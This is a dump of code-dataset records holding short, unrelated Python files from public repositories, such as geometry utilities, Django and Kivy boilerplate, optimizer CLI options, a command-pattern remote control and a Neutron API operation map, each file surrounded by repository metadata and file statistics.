0
0
0.050595
0.2019
421
24
139
17.541667
0.660714
0.788599
0
0
0
0
0.029851
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
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3
1b667310870a44c3110e0f14c6b16c80d33dbbc0
640
py
Python
routeutils/Utils/utils.py
techlabklabin/route-utils
4c34eb955e8a06b6fe4177803e8ea87ea76e6318
[ "MIT" ]
null
null
null
routeutils/Utils/utils.py
techlabklabin/route-utils
4c34eb955e8a06b6fe4177803e8ea87ea76e6318
[ "MIT" ]
null
null
null
routeutils/Utils/utils.py
techlabklabin/route-utils
4c34eb955e8a06b6fe4177803e8ea87ea76e6318
[ "MIT" ]
null
null
null
import geopy.distance from math import degrees import numpy as np def makeNewPoint(geoJsonPoint): return (geoJsonPoint[1], geoJsonPoint[0]) def makeVector(pointA, pointB): return [pointB[0] - pointA[0], pointB[1] - pointA[1]] def distanceMeteres(point1, point2): return geopy.distance.geodesic(point1, point2).km * 1000 def angleBetweenVectors(vector1, vector2): unit_vector_1 = vector1 / np.linalg.norm(vector1) unit_vector_2 = vector2 / np.linalg.norm(vector2) dot_product = np.dot(unit_vector_1, unit_vector_2) angle = np.arccos(dot_product) angleDegress = degrees(angle) return angleDegress
29.090909
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640
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1
1
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3
1b68b03021b7cfc25678f107534b55b999e11055
657
py
Python
ansible_self_service/l3_services/app.py
ansible-self-service/ansible-self-service
80840f02b68c6ba5fe6c55ab9a317b310c185b4d
[ "MIT" ]
null
null
null
ansible_self_service/l3_services/app.py
ansible-self-service/ansible-self-service
80840f02b68c6ba5fe6c55ab9a317b310c185b4d
[ "MIT" ]
null
null
null
ansible_self_service/l3_services/app.py
ansible-self-service/ansible-self-service
80840f02b68c6ba5fe6c55ab9a317b310c185b4d
[ "MIT" ]
null
null
null
from typing import List from ansible_self_service.l3_services.dto import AppCollection, App from ansible_self_service.l4_core.models import AppCatalog class AppService: """Provide an interface to app related features.""" def __init__(self, app_catalog: AppCatalog): self._app_catalog = app_catalog def get_apps_for_collection(self, app_collection: AppCollection) -> List[App]: """Return a list of apps for a collection.""" domain_collection = self._app_catalog.get_collection_by_name(app_collection.name) return [App.from_domain(app_collection, domain_app) for domain_app in domain_collection.apps.values()]
38.647059
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657
5.255556
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0.088795
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0.155251
657
16
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41.0625
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0
1
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1
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3
1b96072783b482fa73746dbf9752bb1b1b75453f
197
py
Python
ProjectsWithKivy/Projects with Kivy/1. Kivy Layouts/6. PageLayout/pagelayout.py
markgacoka/micro-projects
e8115c8270a115282e7dfda6e24620b3333f8c6b
[ "MIT" ]
null
null
null
ProjectsWithKivy/Projects with Kivy/1. Kivy Layouts/6. PageLayout/pagelayout.py
markgacoka/micro-projects
e8115c8270a115282e7dfda6e24620b3333f8c6b
[ "MIT" ]
null
null
null
ProjectsWithKivy/Projects with Kivy/1. Kivy Layouts/6. PageLayout/pagelayout.py
markgacoka/micro-projects
e8115c8270a115282e7dfda6e24620b3333f8c6b
[ "MIT" ]
null
null
null
import kivy from kivy.app import App from kivy.uix.pagelayout import PageLayout class PageLayoutApp(App): def build(self): return PageLayout() if __name__ == '__main__': PageLayoutApp().run()
19.7
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5.461538
0.615385
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10
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3
1b9679ab1f843bbdf20a721c6df2300c3a1bbd49
5,988
py
Python
vscvs/cli/train/optimizers.py
fcoclavero/vscvs
27fab0bc62fb68da044cf6f2516e3c1853f77533
[ "MIT" ]
1
2019-07-02T19:07:15.000Z
2019-07-02T19:07:15.000Z
vscvs/cli/train/optimizers.py
fcoclavero/vscvs
27fab0bc62fb68da044cf6f2516e3c1853f77533
[ "MIT" ]
2
2019-10-23T18:05:37.000Z
2020-09-25T14:16:25.000Z
vscvs/cli/train/optimizers.py
fcoclavero/vscvs
27fab0bc62fb68da044cf6f2516e3c1853f77533
[ "MIT" ]
null
null
null
__author__ = ["Francisco Clavero"] __description__ = "Click groups for different optimizers." __email__ = ["fcoclavero32@gmail.com"] __status__ = "Prototype" import click from vscvs.cli.decorators import pass_kwargs_to_context from vscvs.trainers.mixins import ( AdaBoundOptimizerMixin, AdamOptimizerMixin, AdamWOptimizerMixin, RMSpropOptimizerMixin, SGDOptimizerMixin, ) # noinspection DuplicatedCode @click.group() @click.option( "--learning-rate", prompt="Learning rate", help="Learning rate for the optimizer", default=1e-3, ) @click.option( "--beta-1", prompt="Beta 1", default=0.9, help="First coefficient used for computing running averages of gradient and its square.", ) @click.option( "--beta-2", prompt="Beta 2", default=0.999, help="Second coefficient used for computing running averages of gradient and its square.", ) @click.option( "--final-learning-rate", prompt="Final learning rate", help="Final (SGD) learning rate.", default=0.1, ) @click.option( "--gamma", prompt="Gamma", help="Convergence speed of the bound functions.", default=1e-3, ) @click.option( "--epsilon", prompt="Epsilon", default=1e-8, help="Term added to the denominator to improve numerical stability .", ) @click.option( "--weight-decay", prompt="Weight decay", default=0.0, help="Weight decay (L2 penalty).", ) @click.option( "--amsbound", prompt="AmsBound", default=False, help="Whether to use the AMSBound variant.", ) @pass_kwargs_to_context def adabound(context: click.Context, *_, **__) -> None: """Train models using an AdaBound optimizer.""" context.obj["betas"] = (context.obj.pop("beta_1"), context.obj.pop("beta_2")) context.obj["optimizer_mixin"] = AdaBoundOptimizerMixin # noinspection DuplicatedCode @click.group() @click.option( "--learning-rate", prompt="Learning rate", help="Learning rate for the optimizer", default=1e-3, ) @click.option( "--beta-1", prompt="Beta 1", default=0.9, help="First coefficient used for computing running averages of gradient and its square.", ) @click.option( "--beta-2", prompt="Beta 2", default=0.999, help="Second coefficient used for computing running averages of gradient and its square.", ) @click.option( "--epsilon", prompt="Epsilon", default=1e-8, help="Term added to the denominator to improve numerical stability .", ) @click.option( "--weight-decay", prompt="Weight decay", default=0.0, help="Weight decay (L2 penalty).", ) @click.option( "--amsgrad", prompt="Amsgrad", default=False, help="Whether to use the AMSGrad variant.", ) @pass_kwargs_to_context def adam(context: click.Context, *_, **__) -> None: """Train models using an Adam optimizer.""" context.obj["betas"] = (context.obj.pop("beta_1"), context.obj.pop("beta_2")) context.obj["optimizer_mixin"] = AdamOptimizerMixin # noinspection DuplicatedCode @click.group() @click.option( "--learning-rate", prompt="Learning rate", help="Learning rate for the optimizer", default=1e-3, ) @click.option( "--beta-1", prompt="Beta 1", default=0.9, help="First coefficient used for computing running averages of gradient and its square.", ) @click.option( "--beta-2", prompt="Beta 2", default=0.999, help="Second coefficient used for computing running averages of gradient and its square.", ) @click.option( "--epsilon", prompt="Epsilon", default=1e-8, help="Term added to the denominator to improve numerical stability .", ) @click.option( "--weight-decay", prompt="Weight decay", default=0.0, help="Weight decay (L2 penalty).", ) @click.option( "--amsgrad", prompt="Amsgrad", default=False, help="Whether to use the AMSGrad variant.", ) @pass_kwargs_to_context def adam_w(context: click.Context, *_, **__) -> None: """Train models using an AdamW optimizer.""" context.obj["betas"] = (context.obj.pop("beta_1"), context.obj.pop("beta_2")) context.obj["optimizer_mixin"] = AdamWOptimizerMixin # noinspection DuplicatedCode @click.group() @click.option( "--learning-rate", prompt="Learning rate", help="Learning rate for the optimizer", default=1e-3, ) @click.option("--alpha", prompt="Alpha", default=0.99, help="Smoothing constant.") @click.option( "--epsilon", prompt="Epsilon", default=1e-8, help="Term added to the denominator to improve numerical stability .", ) @click.option( "--weight-decay", prompt="Weight decay", default=0.0, help="Weight decay (L2 penalty).", ) @click.option("--momentum", prompt="Momentum", help="Momentum factor.", default=0.0) @click.option( "--centered", prompt="Amsgrad", default=False, help=( "whether to compute the centered RMSProp " "(gradient normalized by an estimation of its variance)." ), ) @pass_kwargs_to_context def rms_prop(context: click.Context, *_, **__) -> None: """Train models using an RMSProp optimizer.""" context.obj["optimizer_mixin"] = RMSpropOptimizerMixin # noinspection DuplicatedCode @click.group() @click.option( "--learning-rate", prompt="Learning rate", help="Learning rate for the optimizer", default=1e-3, ) @click.option( "--momentum", prompt="Momentum", help="Momentum parameter for SGD optimizer.", default=0.2, ) @click.option( "--weight-decay", prompt="Weight decay", default=0.0, help="Weight decay (L2 penalty).", ) @click.option( "--dampening", prompt="Dampening", default=0.0, help="Momentum dampening." ) @click.option( "--nesterov", prompt="Nesterov", default=False, help="Enable Nesterov momentum." ) @pass_kwargs_to_context def sgd(context: click.Context, *_, **__) -> None: """Train models using an SGD optimizer.""" context.obj["optimizer_mixin"] = SGDOptimizerMixin
25.699571
94
0.665832
721
5,988
5.443828
0.166436
0.086879
0.016051
0.029045
0.767898
0.737325
0.729936
0.695032
0.642803
0.642803
0
0.017115
0.180361
5,988
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0.023923
false
0.028708
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0
0
0
0
0
0
3
1babd018b5acfa8405f4fb134a0f5ed8ad34f2f2
49
py
Python
custom_token.py
Great-Li-Xin/dumb-chatbot
fdf237d7e0c493eb69cbe712b50158f221ccaf0c
[ "MIT" ]
222
2018-01-31T02:06:18.000Z
2020-12-09T08:08:02.000Z
custom_token.py
kevinmel2000/dumb-chatbot
f9ec825997ee45863bb301a9355532bfb09a7cb9
[ "MIT" ]
1
2022-03-15T05:42:01.000Z
2022-03-15T05:42:01.000Z
custom_token.py
realJustinLee/dumb-chatbot
1c67aa3d92913360564b746758820bee310bc06f
[ "MIT" ]
20
2018-04-05T18:10:00.000Z
2020-07-31T09:40:14.000Z
# TOKEN PAD_token = 0 GO_token = 1 EOS_token = 2
9.8
13
0.693878
10
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3.1
0.7
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49
4
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12.25
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3
1bc2a0247712998d72a20f9bf18750c0caf78715
247
py
Python
S18/hw2/homework2part2.py
stanleylio/OCN318
98f0329ea38ddd4ed2966f8f845a0bb29e71b923
[ "MIT" ]
1
2018-03-05T23:33:59.000Z
2018-03-05T23:33:59.000Z
S18/hw2/homework2part2.py
stanleylio/OCN318
98f0329ea38ddd4ed2966f8f845a0bb29e71b923
[ "MIT" ]
null
null
null
S18/hw2/homework2part2.py
stanleylio/OCN318
98f0329ea38ddd4ed2966f8f845a0bb29e71b923
[ "MIT" ]
null
null
null
# The goal: Extract the first four columns from serial_log.txt and place them in output1.csv # # Hint: to join a list of strings into one string, use the .join() function: # ','.join(['256', '24.525', '103.70']) # yields # '256,24.525,103.70'
35.285714
92
0.668016
43
247
3.813953
0.790698
0.060976
0.097561
0.134146
0.158537
0
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0
0
0.132353
0.174089
247
6
93
41.166667
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0
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3
59f5db8231e7b5f35e36a4f3a192c0a0e3556e9c
252
py
Python
app/__init__.py
ethpch/api.ethpch
af56354a7e8f5304a5c86dd752577da376f1f1ce
[ "MIT" ]
2
2021-09-23T14:43:10.000Z
2021-09-26T12:01:11.000Z
app/__init__.py
ethpch/api.ethpch
af56354a7e8f5304a5c86dd752577da376f1f1ce
[ "MIT" ]
null
null
null
app/__init__.py
ethpch/api.ethpch
af56354a7e8f5304a5c86dd752577da376f1f1ce
[ "MIT" ]
null
null
null
from .base import APP from utils.config import apps if 'pixiv' in apps: from .pixiv import pixiv_router APP.include_router(pixiv_router) if 'shorturl' in apps: from .shorturl import shorturl_router APP.include_router(shorturl_router)
22.909091
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0.761905
37
252
5.027027
0.351351
0.064516
0.107527
0.236559
0
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0
0
0
0.174603
252
10
42
25.2
0.894231
0
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true
0
0.5
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0
0
1
0
1
0
0
0
0
3
94138d3730f1e927ee57027157b082e4aa899444
85
py
Python
djadmin/ngapp/apps.py
gnud/django-angular-lte-admin
b4bed527aa25184e17deb31eb5987b209dfd9253
[ "MIT" ]
3
2019-03-07T06:11:05.000Z
2019-05-24T13:53:17.000Z
djadmin/ngapp/apps.py
gnud/damjan-dimitrioski.com
6c9cb215ec0878eeb1ed5e1359bb1bd07f774476
[ "MIT" ]
3
2017-03-14T19:02:17.000Z
2017-03-17T16:24:33.000Z
djadmin/ngapp/apps.py
gnud/damjan-dimitrioski.com
6c9cb215ec0878eeb1ed5e1359bb1bd07f774476
[ "MIT" ]
3
2019-01-21T22:39:04.000Z
2019-11-21T22:18:07.000Z
from django.apps import AppConfig class NgappConfig(AppConfig): name = 'ngapp'
14.166667
33
0.741176
10
85
6.3
0.9
0
0
0
0
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0.176471
85
5
34
17
0.9
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3
941e79630ab05ab4af582a022af0f3d07f154519
91
py
Python
atcoder/AtCoder_Beginner_Contest_144/9x9.py
juseongkr/BOJ
8f10a2bf9a7d695455493fbe7423347a8b648416
[ "Apache-2.0" ]
7
2020-02-03T10:00:19.000Z
2021-11-16T11:03:57.000Z
atcoder/AtCoder_Beginner_Contest_144/9x9.py
juseongkr/Algorithm-training
8f10a2bf9a7d695455493fbe7423347a8b648416
[ "Apache-2.0" ]
1
2021-01-03T06:58:24.000Z
2021-01-03T06:58:24.000Z
atcoder/AtCoder_Beginner_Contest_144/9x9.py
juseongkr/Algorithm-training
8f10a2bf9a7d695455493fbe7423347a8b648416
[ "Apache-2.0" ]
1
2020-01-22T14:34:03.000Z
2020-01-22T14:34:03.000Z
a, b = map(int, input().split()) if a >= 10 or b >= 10: print(-1) else: print(a*b)
15.166667
32
0.494505
18
91
2.5
0.666667
0.088889
0
0
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0.074627
0.263736
91
5
33
18.2
0.597015
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true
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0
0
0
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0
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3
942d0bcdfeaa1163d62e0939cf24c2b534c1fc62
215
py
Python
problems/0003/compute.py
Dynortice/Project-Euler
99a0201b5d5f147eab77fc52d9db8995045cded0
[ "MIT" ]
null
null
null
problems/0003/compute.py
Dynortice/Project-Euler
99a0201b5d5f147eab77fc52d9db8995045cded0
[ "MIT" ]
null
null
null
problems/0003/compute.py
Dynortice/Project-Euler
99a0201b5d5f147eab77fc52d9db8995045cded0
[ "MIT" ]
null
null
null
from euler.primes import smallest_prime_factor def compute(n: int) -> int: while True: prime = smallest_prime_factor(n) if prime < n: n //= prime else: return n
19.545455
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0.55814
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215
4.296296
0.592593
0.224138
0.327586
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0.362791
215
10
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21.5
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0
3
94430051a0be192eb8095277d402c71833104df1
104
py
Python
uvcoverage-plot.py
haricash/bayesian-ionized-bubbles
c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6
[ "MIT" ]
null
null
null
uvcoverage-plot.py
haricash/bayesian-ionized-bubbles
c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6
[ "MIT" ]
null
null
null
uvcoverage-plot.py
haricash/bayesian-ionized-bubbles
c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6
[ "MIT" ]
null
null
null
import numpy as np import matplotlib.pyplot as plt data = np.load("uv-coverage.npy") print(data.shape)
17.333333
33
0.759615
18
104
4.388889
0.777778
0
0
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0
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0.125
104
6
34
17.333333
0.868132
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0
0
0
0
0
1
0
0
0
0
3
944bb4c301ced596aa5db3a3e40634312604d90b
1,233
py
Python
6_CommandPattern/Invoker.py
gama79530/DesignPattern
707e20a1e379d59b6b41a5fe389935c8caa4b1b1
[ "MIT" ]
null
null
null
6_CommandPattern/Invoker.py
gama79530/DesignPattern
707e20a1e379d59b6b41a5fe389935c8caa4b1b1
[ "MIT" ]
null
null
null
6_CommandPattern/Invoker.py
gama79530/DesignPattern
707e20a1e379d59b6b41a5fe389935c8caa4b1b1
[ "MIT" ]
null
null
null
import Command class RemoteControlWithUndo : def __init__(self) : no_command = Command.NoCommand() self.on_commands = [no_command, no_command, no_command, no_command, no_command, no_command, no_command] self.off_commands = [no_command, no_command, no_command, no_command, no_command, no_command, no_command] self.undo_command = no_command def setCommand(self, slot, on_command, off_command) : self.on_commands[slot] = on_command self.off_commands[slot] = off_command def onButtonWasPushed(self, slot) : self.on_commands[slot].execute() self.undo_command = self.on_commands[slot] def offButtonWasPushed(self, slot) : self.off_commands[slot].execute() self.undo_command = self.on_commands[slot] def undoButtonWasPushed(self) : self.undo_command.undo() def __str__(self) : result = '\n------ Remote Control -------\n' for i in range(len(self.on_commands)) : result += ('[slot {}] {} {}\n'.format(str(i), self.on_commands[i].__class__.__name__, self.off_commands[i].__class__.__name__)) result += ('[undo] {}\n'.format(self.undo_command.__class__.__name__)) return result
39.774194
142
0.664234
154
1,233
4.876623
0.207792
0.191744
0.276964
0.287617
0.379494
0.346205
0.346205
0.346205
0.346205
0.346205
0
0
0.208435
1,233
30
143
41.1
0.769467
0
0
0.083333
0
0
0.051906
0
0
0
0
0
0
1
0.25
false
0
0.041667
0
0.375
0
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0
null
0
1
1
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0
0
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null
0
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0
0
1
0
0
0
0
0
0
0
3
84832d14bd00eb58e3c0522651cfb1e530dade7e
244
py
Python
output/models/nist_data/list_pkg/language/schema_instance/nistschema_sv_iv_list_language_length_4_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/nist_data/list_pkg/language/schema_instance/nistschema_sv_iv_list_language_length_4_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/nist_data/list_pkg/language/schema_instance/nistschema_sv_iv_list_language_length_4_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from output.models.nist_data.list_pkg.language.schema_instance.nistschema_sv_iv_list_language_length_4_xsd.nistschema_sv_iv_list_language_length_4 import NistschemaSvIvListLanguageLength4 __all__ = [ "NistschemaSvIvListLanguageLength4", ]
40.666667
187
0.889344
29
244
6.793103
0.655172
0.121827
0.142132
0.182741
0.335025
0.335025
0.335025
0
0
0
0
0.017391
0.057377
244
5
188
48.8
0.83913
0
0
0
0
0
0.135246
0.135246
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
0
0
1
0
0
0
0
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0
0
0
0
0
1
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0
0
0
0
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0
0
0
null
0
0
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0
0
0
0
0
0
0
0
0
0
3
84a6b1e5ab5cd7f82f9bd61960155e59f8a3cb0c
464
py
Python
scrappers/plugins/aljazeera/__init__.py
nathanIL/openews
17f07de528342944f26855192db8019a0dbcc3a0
[ "Apache-2.0" ]
2
2016-01-10T08:45:29.000Z
2019-10-25T06:53:39.000Z
scrappers/plugins/aljazeera/__init__.py
nathanIL/openews
17f07de528342944f26855192db8019a0dbcc3a0
[ "Apache-2.0" ]
3
2016-01-07T15:43:40.000Z
2016-01-09T14:44:08.000Z
scrappers/plugins/aljazeera/__init__.py
nathanIL/openews
17f07de528342944f26855192db8019a0dbcc3a0
[ "Apache-2.0" ]
null
null
null
import scrappers import scrappers.mixins class ALJazeera(scrappers.mixins.RSSScrapper, scrappers.Scrapper): """AL Jazeera RSS feed scrapper. """ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def should_translate(self): return False def encoding(self): return 'utf-8' def resource_urls(self): return [{'category': 'All News', 'url': 'http://www.aljazeera.com/xml/rss/all.xml'}]
23.2
92
0.644397
55
464
5.254545
0.618182
0.103806
0
0
0
0
0
0
0
0
0
0.002725
0.209052
464
19
93
24.421053
0.784741
0.0625
0
0
0
0
0.150943
0
0
0
0
0
0
1
0.363636
false
0
0.181818
0.272727
0.909091
0
0
0
0
null
0
0
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0
0
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0
0
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0
0
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0
0
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null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
84ab6622c15775e0c314c7eb24ce994a183ded45
151
py
Python
config_example.py
retdop/chess_weaknesses
c954557777a213a07a3564fef27263d81a20e0a3
[ "MIT" ]
1
2020-03-25T14:02:25.000Z
2020-03-25T14:02:25.000Z
config_example.py
retdop/chess_weaknesses
c954557777a213a07a3564fef27263d81a20e0a3
[ "MIT" ]
1
2020-04-04T14:02:39.000Z
2020-04-04T14:02:39.000Z
config_example.py
retdop/chess_weaknesses
c954557777a213a07a3564fef27263d81a20e0a3
[ "MIT" ]
1
2020-04-02T09:44:58.000Z
2020-04-02T09:44:58.000Z
ENGINE_PATH = './stockfish-11-linux/src/stockfish' GAMES_FILENAME = 'lichess_username_2019-12-31.pgn' DEFAULT_GAMES_ANALYSES_FILENAME = 'scores.pkl'
25.166667
50
0.801325
21
151
5.428571
0.857143
0
0
0
0
0
0
0
0
0
0
0.071429
0.072848
151
5
51
30.2
0.742857
0
0
0
0
0
0.496689
0.430464
0
0
0
0
0
1
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false
0
0
0
0
0
1
0
0
null
0
0
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0
0
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0
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0
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0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
84c95a79b4a208b7a4541951452956d90d7692cd
472
py
Python
tools/segtree/segtree_node.py
NekohimeMusou/advent-of-code
a1215336a24713e63f77018f379ff90675afdd0d
[ "MIT" ]
null
null
null
tools/segtree/segtree_node.py
NekohimeMusou/advent-of-code
a1215336a24713e63f77018f379ff90675afdd0d
[ "MIT" ]
null
null
null
tools/segtree/segtree_node.py
NekohimeMusou/advent-of-code
a1215336a24713e63f77018f379ff90675afdd0d
[ "MIT" ]
null
null
null
from abc import ABC, abstractmethod class SegmentTreeNode(ABC): @classmethod @abstractmethod def create_leaf(cls, start, end, value): pass @classmethod @abstractmethod def merge(cls, start, end, left, right): pass @property @abstractmethod def score(self): pass # This should return something class SegmentTreeNodeWithUpdate(SegmentTreeNode): @abstractmethod def update(self, value): pass
18.88
49
0.663136
47
472
6.638298
0.574468
0.217949
0.179487
0
0
0
0
0
0
0
0
0
0.262712
472
24
50
19.666667
0.896552
0.059322
0
0.555556
0
0
0
0
0
0
0
0
0
1
0.222222
false
0.222222
0.055556
0
0.388889
0
0
0
0
null
1
0
0
0
0
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0
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0
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0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
3
84cb2cabfe9208f760a24e58bd6dd1d371426e23
502
py
Python
apps/catalog/migrations/0002_auto_20210811_0837.py
lucasjaroszewski/incremental-game
bae8823f986be0fd046bd50195d43fbc548fad90
[ "MIT" ]
null
null
null
apps/catalog/migrations/0002_auto_20210811_0837.py
lucasjaroszewski/incremental-game
bae8823f986be0fd046bd50195d43fbc548fad90
[ "MIT" ]
5
2021-06-09T17:54:51.000Z
2022-03-12T00:46:49.000Z
apps/catalog/migrations/0002_auto_20210811_0837.py
lucasjaroszewski/incremental-game
bae8823f986be0fd046bd50195d43fbc548fad90
[ "MIT" ]
1
2020-09-27T18:26:15.000Z
2020-09-27T18:26:15.000Z
# Generated by Django 3.2.6 on 2021-08-11 11:37 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('catalog', '0001_initial'), ] operations = [ migrations.RenameField( model_name='cat', old_name='liked_gifs', new_name='liked_gifts', ), migrations.RenameField( model_name='cat', old_name='loved_gifs', new_name='loved_gifts', ), ]
20.916667
47
0.553785
52
502
5.134615
0.615385
0.157303
0.194757
0.224719
0.299625
0.299625
0.299625
0
0
0
0
0.056716
0.332669
502
23
48
21.826087
0.740299
0.089641
0
0.352941
1
0
0.147253
0
0
0
0
0
0
1
0
false
0
0.058824
0
0.235294
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
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0
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0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
84cd56fca980259077c65ad0249f033a1888e7ce
1,404
py
Python
application/model/entity/video.py
UniversidadeDeVassouras/labproghiper-2020.1-MatheusTelles-p1
d0d81fc82d031f7add9e38add765aad0c404ee35
[ "Apache-2.0" ]
1
2020-07-15T14:23:30.000Z
2020-07-15T14:23:30.000Z
application/model/entity/video.py
UniversidadeDeVassouras/labproghiper-2020.1-MatheusTelles-p1
d0d81fc82d031f7add9e38add765aad0c404ee35
[ "Apache-2.0" ]
null
null
null
application/model/entity/video.py
UniversidadeDeVassouras/labproghiper-2020.1-MatheusTelles-p1
d0d81fc82d031f7add9e38add765aad0c404ee35
[ "Apache-2.0" ]
null
null
null
class Video: def __init__(self, id, title, description, thumb, url_video, category_id, date): self._id = id self._title = title self._description = description self._thumb = thumb self._url_video = url_video self._category_id = category_id self._likes = 0 self._views = 0 self._date = date def setId(self, id): self._id = id def getId(self): return self._id def setTitle(self, title): self._title = title def getTitle(self): return self._title def setDescription(self, description): self._description = description def getDescription(self): return self._description def setThumb(self, thumb): self._thumb = thumb def getThumb(self): return self._thumb def setUrl_video(self, url_video): self._url_video = url_video def getUrl_video(self): return self._url_video def setCategory_id(self, category_id): self._category_id = category_id def getCategory_id(self): return self._category_id def setLikes(self, likes): self._likes = likes def getLikes(self): return self._likes def setViews(self, views): self._views = views def getViews(self): return self._views def getDate(self): return self._date
20.647059
84
0.611111
167
1,404
4.850299
0.197605
0.111111
0.155556
0.037037
0.108642
0
0
0
0
0
0
0.00206
0.308405
1,404
68
85
20.647059
0.832132
0
0
0.266667
0
0
0
0
0
0
0
0
0
1
0.4
false
0
0
0.2
0.622222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
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0
0
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0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
ca03ea5c45820906810f2328be060ad7a4688584
6,011
py
Python
patron/aem/op_map/neutron_op_map.py
casbin/openstack-patron
b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25
[ "Apache-2.0" ]
null
null
null
patron/aem/op_map/neutron_op_map.py
casbin/openstack-patron
b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25
[ "Apache-2.0" ]
null
null
null
patron/aem/op_map/neutron_op_map.py
casbin/openstack-patron
b41b1262f3a52c8cc9f6b6bdf87be5a1abcf6d25
[ "Apache-2.0" ]
null
null
null
# op map for neutron. op_map = \ {(9696, '/v2.0', '/agents', 'GET', ''): (), (9696, '/v2.0', '/agents/%UUID%', 'GET', ''): ('get_agent',), (9696, '/v2.0', '/agents/%UUID%', 'PUT', ''): ('update_agent',), (9696, '/v2.0', '/agents/%UUID%/dhcp-networks', 'GET', ''): ('get_dhcp-networks',), (9696, '/v2.0', '/agents/%UUID%/dhcp-networks', 'POST', ''): ('create_dhcp-network',), (9696, '/v2.0', '/agents/%UUID%/dhcp-networks/%UUID%', 'DELETE', ''): ('delete_dhcp-network',), (9696, '/v2.0', '/agents/%UUID%/l3-routers', 'GET', ''): ('get_l3-routers',), (9696, '/v2.0', '/agents/%UUID%/l3-routers', 'POST', ''): ('create_l3-router',), (9696, '/v2.0', '/agents/%UUID%/l3-routers/%UUID%', 'DELETE', ''): ('delete_l3-router',), (9696, '/v2.0', '/extensions', 'GET', ''): (), (9696, '/v2.0', '/extensions/agent', 'GET', ''): (), (9696, '/v2.0', '/extensions/allowed-address-pairs', 'GET', ''): (), (9696, '/v2.0', '/extensions/binding', 'GET', ''): (), (9696, '/v2.0', '/extensions/dhcp_agent_scheduler', 'GET', ''): (), (9696, '/v2.0', '/extensions/dvr', 'GET', ''): (), (9696, '/v2.0', '/extensions/ext-gw-mode', 'GET', ''): (), (9696, '/v2.0', '/extensions/external-net', 'GET', ''): (), (9696, '/v2.0', '/extensions/extra_dhcp_opt', 'GET', ''): (), (9696, '/v2.0', '/extensions/extraroute', 'GET', ''): (), (9696, '/v2.0', '/extensions/l3-ha', 'GET', ''): (), (9696, '/v2.0', '/extensions/l3_agent_scheduler', 'GET', ''): (), (9696, '/v2.0', '/extensions/multi-provider', 'GET', ''): (), (9696, '/v2.0', '/extensions/net-mtu', 'GET', ''): (), (9696, '/v2.0', '/extensions/provider', 'GET', ''): (), (9696, '/v2.0', '/extensions/quotas', 'GET', ''): (), (9696, '/v2.0', '/extensions/router', 'GET', ''): (), (9696, '/v2.0', '/extensions/security-group', 'GET', ''): (), (9696, '/v2.0', '/extensions/subnet_allocation', 'GET', ''): (), (9696, '/v2.0', '/floatingips', 'GET', ''): (), (9696, '/v2.0', '/floatingips', 'POST', ''): (), (9696, '/v2.0', '/floatingips/%UUID%', 'DELETE', ''): (), (9696, '/v2.0', '/floatingips?fixed_ip_address=%VALUE%&port_id=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/floatingips?network=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/metering/metering-labels', 'POST', ''): (), (9696, '/v2.0', '/networks', 'GET', ''): (), (9696, '/v2.0', '/networks', 'POST', ''): ('create_network',), (9696, '/v2.0', '/networks/%UUID%', 'DELETE', ''): ('delete_network',), (9696, '/v2.0', '/networks/%UUID%', 'GET', ''): (), (9696, '/v2.0', '/networks/%UUID%', 'PUT', ''): (), (9696, '/v2.0', '/networks/%UUID%/dhcp-agents', 'GET', ''): ('get_dhcp-agents',), (9696, '/v2.0', '/networks?fields=%VALUE%&fields=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/networks?id=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/networks?router%3Aexternal=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/ports', 'GET', ''): (), (9696, '/v2.0', '/ports', 'POST', ''): ('create_port',), (9696, '/v2.0', '/ports/%UUID%', 'DELETE', ''): (), (9696, '/v2.0', '/ports/%UUID%', 'GET', ''): ('get_port',), (9696, '/v2.0', '/ports/%UUID%', 'PUT', ''): ('update_port',), (9696, '/v2.0', '/ports?device_id=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/ports?fields=%VALUE%&fields=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/ports?fixed_ips=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/ports?network_id=%VALUE%&device_id=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/ports?network_id=%VALUE%&device_owner=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/ports?tenant_id=%VALUE%&device_id=%VALUE%', 'GET', ''): (), (9696, '/v2.0', '/quotas', 'GET', ''): (), (9696, '/v2.0', '/quotas/%ID%', 'DELETE', ''): (), (9696, '/v2.0', '/quotas/%ID%', 'GET', ''): (), (9696, '/v2.0', '/quotas/%ID%', 'PUT', ''): (), (9696, '/v2.0', '/routers', 'GET', ''): (), (9696, '/v2.0', '/routers', 'POST', ''): ('create_router',), (9696, '/v2.0', '/routers/%NAME%', 'DELETE', ''): (), (9696, '/v2.0', 